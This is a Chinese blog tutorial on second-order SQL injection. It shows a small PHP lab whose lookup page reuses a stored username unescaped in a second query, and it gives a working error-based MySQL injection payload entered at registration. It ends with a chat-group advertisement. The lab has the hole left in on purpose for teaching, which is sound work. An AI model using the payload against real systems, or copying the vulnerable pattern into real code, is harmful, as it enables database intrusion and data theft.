作者 mOon:blog: www.moonsec.com QQ:40497992
二次注入顾名思义 需要执行两次的sql语句。有点可能需要三次 可能还会更多。这种审计技巧好像去年比较流行。
今天先来一个简单的列子。
三个文件
config.php文件内容。
<?php mysql_connect("localhost","root",""); mysql_select_db("inj"); mysql_set_charset('utf8'); if (!get_magic_quotes_gpc()) { if (!empty($_GET)) { $_GET = addslashes_deep($_GET); } if (!empty($_POST)) { $_POST = addslashes_deep($_POST); } $_COOKIE = addslashes_deep($_COOKIE); $_REQUEST = addslashes_deep($_REQUEST); } function addslashes_deep($value) { if (empty($value)) { return $value; } else { return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value); } } ?>
index.php 内容
<?php include "config.php"; if($_POST['sub']){ $username=$_POST['username']; $password=$_POST['password']; $email=$_POST['email']; $sql="INSERT INTO `inj`.`users` ( `uid` , `username` , `password` , `email` ) VALUES ( NULL , '$username', '$password', '$email' );"; $row = mysql_query($sql); if($row){ echo "注册成功!"; }else{ echo "注册失败!"; } } ?> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <form action="" method="post" > username<input type="text" name="username"><br> password<input type="password" name="password"><br> email<input type="text" name="email"><br> <input type="submit" name="sub" value="ok"> </form>
index2.php
<?php include "config.php"; if($_POST['sub']){ $sql="select * from users where email='{$email}'"; $row=mysql_query($sql); if($row){ $rows = mysql_fetch_array($row); $username=$rows['username']; $sql2="select * from users where username='$username'"; $row=mysql_query($sql2) or die(mysql_error()); if($row){ $rows = mysql_fetch_array($row); echo $rows['username']."<br>"; echo $rows['password']."<br>"; echo $rows['email']."<br>"; } } } ?> <form action="" method="post" > 搜索的邮箱<input type="text" name="email"> <input type="submit" name="sub" value="ok"> </form> 代码是这样的。
数据库
二次代码注入 主要看输入的地方 是否再进行取值 然后到 再运用到sql语句里面。
例如等我们开启gpc ' 会自动变成 /' 但是到了数据里面 就是' 再取出来的时候就是一个'没有 /
流程‘ =>/'=>'
我们先来注册一个带有'用户。
if (!get_magic_quotes_gpc()) { if (!empty($_GET)) { $_GET = addslashes_deep($_GET); } if (!empty($_POST)) { $_POST = addslashes_deep($_POST); } $_COOKIE = addslashes_deep($_COOKIE); $_REQUEST = addslashes_deep($_REQUEST); } function addslashes_deep($value) { if (empty($value)) { return $value; } else { return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value); } }
以上函数自动转义'
查看数据库 / 已经没有 只留下单引号。
代码 $sql="select * from users where email='{$email}'"; $row=mysql_query($sql); if($row){ $rows = mysql_fetch_array($row); $username=$rows['username']; //取值 此时已经没有/ echo $sql2="select * from users where username='$username'"; $row=mysql_query($sql2) or die(mysql_error()); if($row){ $rows = mysql_fetch_array($row); echo $rows['username']."<br>"; echo $rows['password']."<br>"; echo $rows['email']."<br>"; }
mysql_error 用这个函数已经报错。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''moonsec''' at line 1
这种二次注入比较难以利用的地方是字段的长度 也就是说很多时候利用mysql的报错注入 应该需要插入字段的长度限制 一般都不会用比较长的语句,具体还要看字符能填写多少字符。
一般都是这样利用。
仔细判断出表的字段的多少,在变量可控的地方 利用insert into和selset 的地方配合一起使用。
清空表,再来填写用户的时候
这里也是方便测试 数据的字段长度比较大255 实际的时候没有这么大的。
注册的时候填写。
moonsec'and(select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#
查询邮箱的时候二次注入 成功报错。
这章介绍到这里把。下次介绍一些比较牛逼的二次注入案例。
AD(代码审计师、漏洞挖掘师) 需要加入的请速度联系囖。木木达
没加群的同学 加加群 群里有妹子
点击链接加入群【暗月信息安全交流群】:http://jq.qq.com/?_wv=1027&k=YmWBiK
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论